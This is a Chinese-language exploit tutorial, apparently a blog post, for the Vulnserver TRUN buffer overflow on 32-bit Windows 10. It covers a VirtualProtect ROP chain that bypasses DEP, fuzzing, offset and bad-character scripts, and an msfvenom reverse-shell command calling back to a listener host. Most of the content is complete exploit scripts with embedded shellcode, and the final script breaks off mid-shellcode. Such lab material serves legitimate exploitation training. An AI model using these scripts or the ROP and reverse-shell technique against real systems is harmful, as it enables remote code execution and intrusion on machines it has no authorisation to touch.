0%

测试环境:Windows 10 21H2 32位。

这次开启全局DEPWindows下如下所示开启。

DEP

开启DEP之后,之前能够运行的shellcode将无法执行。为了解决这个问题,可以使用VirtualProtect函数来更改一片栈空间的权限为PAGE_EXECUTE_READWRITE。来看一下函数的定义:

1
2
3
4
5
6
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

lpAddress:需要更改访问保护属性的页区域的起始页地址。

dwSize:要更改访问保护属性的区域的大小,以字节为单位。

flNewProtect:内存保护选项。

lpflOldProtect:指向变量的指针,该变量接收指定页面区域中第一页的先前访问保护值。

所以栈的布局应该为如下所示:

DEP

注意栈布局上,跟在VirtualProtect函数地址后面的第一个参数是返回值,返回到VirtualProtect函数更改为执行权限的的栈空间上(就是shellcode所在的位置),可以理解为VirtualProtectshellcode有了可执行权限,然后VirtualProtect函数返回后,需要恢复到调用栈的返回地址,这里让返回地址指向shellcode,这样就可以达成执行shellcode代码的作用。

难点主要在寻找合适的ROP链。

最简单的方式是把需要的值存入寄存器,然后PUSH进栈。这可以使用PUSHAD指令完成。这个指令将会在栈中以下列顺序压入寄存器:

EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI

所以最终栈的布局应该为如下所示:

DEP

首先,寻找一个RETN指令。(也称Stack Pivot,用于把执行流返回到栈上)

1
!mona find -type instr -s "retn" -p 10 -o

DEP

这里选择0x62501022这个地址所指向的RETN指令。

使用mona寻找gadgets

1
!mona rop -m *.dll -n

执行完成之后,打开rop_chains.txt文件,找到python部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
*** [ Python ] ***

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76cfaf80, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76cc6a56, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75d31470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x77363469, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x625011bb, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x756c0feb, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x75ad236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x76cdbaf2, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75693f92, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x75ad3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x773ff292, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76ccbb50, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x76d23c03, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76cbff49, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75ad379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x756cc74e, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x74bcf282, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

结合之前栈溢出的shellcode,最终的exploit.py如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.145'
PORT = 9999

shellcode = b""
shellcode += b"\xbb\x90\xe7\x9a\xa0\xda\xc2\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x52\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xc8\xe9\x78\x55\x14\x1d\xfe\x96\xe4\xde"
shellcode += b"\x9f\x1f\x01\xef\x9f\x44\x42\x40\x10\x0e\x06"
shellcode += b"\x6d\xdb\x42\xb2\xe6\xa9\x4a\xb5\x4f\x07\xad"
shellcode += b"\xf8\x50\x34\x8d\x9b\xd2\x47\xc2\x7b\xea\x87"
shellcode += b"\x17\x7a\x2b\xf5\xda\x2e\xe4\x71\x48\xde\x81"
shellcode += b"\xcc\x51\x55\xd9\xc1\xd1\x8a\xaa\xe0\xf0\x1d"
shellcode += b"\xa0\xba\xd2\x9c\x65\xb7\x5a\x86\x6a\xf2\x15"
shellcode += b"\x3d\x58\x88\xa7\x97\x90\x71\x0b\xd6\x1c\x80"
shellcode += b"\x55\x1f\x9a\x7b\x20\x69\xd8\x06\x33\xae\xa2"
shellcode += b"\xdc\xb6\x34\x04\x96\x61\x90\xb4\x7b\xf7\x53"
shellcode += b"\xba\x30\x73\x3b\xdf\xc7\x50\x30\xdb\x4c\x57"
shellcode += b"\x96\x6d\x16\x7c\x32\x35\xcc\x1d\x63\x93\xa3"
shellcode += b"\x22\x73\x7c\x1b\x87\xf8\x91\x48\xba\xa3\xfd"
shellcode += b"\xbd\xf7\x5b\xfe\xa9\x80\x28\xcc\x76\x3b\xa6"
shellcode += b"\x7c\xfe\xe5\x31\x82\xd5\x52\xad\x7d\xd6\xa2"
shellcode += b"\xe4\xb9\x82\xf2\x9e\x68\xab\x98\x5e\x94\x7e"
shellcode += b"\x0e\x0e\x3a\xd1\xef\xfe\xfa\x81\x87\x14\xf5"
shellcode += b"\xfe\xb8\x17\xdf\x96\x53\xe2\x88\x58\x0b\xe1"
shellcode += b"\xc1\x31\x4e\xf9\xc0\x9d\xc7\x1f\x88\x0d\x8e"
shellcode += b"\x88\x25\xb7\x8b\x42\xd7\x38\x06\x2f\xd7\xb3"
shellcode += b"\xa5\xd0\x96\x33\xc3\xc2\x4f\xb4\x9e\xb8\xc6"
shellcode += b"\xcb\x34\xd4\x85\x5e\xd3\x24\xc3\x42\x4c\x73"
shellcode += b"\x84\xb5\x85\x11\x38\xef\x3f\x07\xc1\x69\x07"
shellcode += b"\x83\x1e\x4a\x86\x0a\xd2\xf6\xac\x1c\x2a\xf6"
shellcode += b"\xe8\x48\xe2\xa1\xa6\x26\x44\x18\x09\x90\x1e"
shellcode += b"\xf7\xc3\x74\xe6\x3b\xd4\x02\xe7\x11\xa2\xea"
shellcode += b"\x56\xcc\xf3\x15\x56\x98\xf3\x6e\x8a\x38\xfb"
shellcode += b"\xa5\x0e\x58\x1e\x6f\x7b\xf1\x87\xfa\xc6\x9c"
shellcode += b"\x37\xd1\x05\x99\xbb\xd3\xf5\x5e\xa3\x96\xf0"
shellcode += b"\x1b\x63\x4b\x89\x34\x06\x6b\x3e\x34\x03"

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x76cfaf80, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76cc6a56, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75d31470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x77363469, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x625011bb, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x756c0feb, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x75ad236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x76cdbaf2, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75693f92, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x75ad3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x773ff292, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76ccbb50, # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x76d23c03, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edi:---]
0x76cbff49, # POP EDI # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x75ad379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x756cc74e, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x74bcf282, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
]

return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()


PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003+
# 62501022 \. C3 RETN
struct.pack('<L', 0x62501022) +
rop_chain+
b'\x90'*16+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

注意:1.rop_chain后面需要一些填充,可以使用'\x90'来进行,一般为16的整数倍,也可以直接替换为指定b'\x83\xE4\xF0',这是边界对齐指令and esp, 0xfffffff0的机器码。2.这里的rop链仅在当前状态下能够执行成功,系统重启之后会失败,因为rop gadget引用的大部分dll都开启了aslr,注意看上面的代码中的注释** REBASED ** ASLR。每次加载的时候地址会发生变化。

效果图:

DEP

参考:https://fluidattacks.com/blog/vulnserver-trun-rop/

示例下载链接:Vulnserver

本实验环境:win10 21h2 32位。

1.FUZZ

使用spike进行fuzz

trun.spk脚本如下:

1
2
s_string("TRUN ");
s_string_variable("*");

接下来开始fuzz

vulnserver

观察程序,第二个fuzz周期就让程序奔溃了。看一下wireshark具体的那个数据包发送的数据。

vulnserver

根据以上信息,可以编写crash.py脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import socket

HOST = '192.168.13.145'
PORT = 9999

PAYLOAD = (
b'TRUN /.:/' +
b'A' * 5000
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

2.OFFSET

接下来,确定具体需要多少字节才能覆盖EIP

1
msf-pattern_create -l 5000

offset.py脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
import socket

HOST = '192.168.13.145'
PORT = 9999

# msf-pattern_create -l 5000
PAYLOAD = (
b'TRUN /.:/' +
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

vulnserver

获取具体偏移值:

1
!mona findmsp

vulnserver

可知需要2003个字符才能覆盖EIP

3.SHORT JMP

在没有开启各类安全缓解措施的DLL中,寻找JMP ESP指令。

1
!mona jmp -r esp -cp nonull -o

vulnserver

这里选择0x625011af来覆盖EIP的地址。

4.Bad Characters

利用如下字符集来查找可能的脏字符。\x00是默认需要包含的脏字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
badchars=b""
badchars+=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

badchar.py脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.145'
PORT = 9999

badchars=b""
badchars+=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003+
struct.pack('<L',0x625011af)+
badchars
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

最终,获取的脏字符为\x00

5.Exploit

利用msfvenom生成shellcode

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

vulnserver

最终的exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
import socket
import struct

HOST = '192.168.13.145'
PORT = 9999

shellcode = b""
shellcode += b"\xbb\x90\xe7\x9a\xa0\xda\xc2\xd9\x74\x24\xf4"
